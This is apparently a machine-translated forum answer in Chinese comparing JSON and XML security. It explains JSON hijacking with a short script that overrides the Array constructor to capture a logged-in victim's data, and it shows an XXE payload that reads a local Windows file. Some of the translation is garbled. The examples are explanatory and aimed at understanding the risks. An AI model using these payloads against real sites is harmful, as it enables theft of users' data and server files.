针对 JSON 的安全攻击有很多,尤其是 XSRF。
当 Web 服务使用 cookie 进行身份验证,并使用包含敏感数据的 JSON 数组响应 GET 请求时,就会出现该漏洞。
如果攻击者可以欺骗登录到服务 naive-webapp.com 的用户访问他们的网站(或任何嵌入他们控制的 IFRAME 的网站,例如通过嵌入式广告),那么他们可以插入<script>
使用 SRC 标记到 naive-webapp.com,并可能窃取用户的数据。
这取决于 JavaScript 的 javascript 怪癖Array
像这样的构造函数:
<script>
// Overload the Array constructor so we can intercept data
var stolenArrays = [];
var RealArray = Array;
Array = function () {
var arr = RealArray.apply(arguments);
stolenArrays.push(arr);
return arr;
}
</script>
<!-- even though the attacker can't access the cookies,
- he can cause the browser to send them to naive-webapp.com -->
<script src="//naive-webapp.com/..."></script>
<script>
// now stolenArrays contains any data from the parsed JSON
</script>
EcmaScript 5 修复了导致的令人困惑的行为[]
去查查看Array
在全局对象上,许多现代浏览器不再容易受到这种攻击。
顺便说一句,Oil 关于不可预测的 URL 的说法是错误的。 URL 中的加密安全随机标识符是保护资源的好方法。基于身份的安全并不是石油所暗示的万能药。
看http://waterken.sourceforge.net/ http://waterken.sourceforge.net/例如,基于 URL 中的加密安全标识符的安全分布式应用程序方案,不需要身份概念。
EDIT:
在考虑 JSON 与 XML 时,您还应该了解 XML 特定的攻击媒介。
XXE http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities、XML 外部实体攻击,利用精心设计的 XML 穿过防火墙访问文件系统和网络资源。
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
...
<in>&foo;</in>
应用程序将输入(参数“in”,其中包含 win.ini 文件)嵌入到 Web 服务响应中。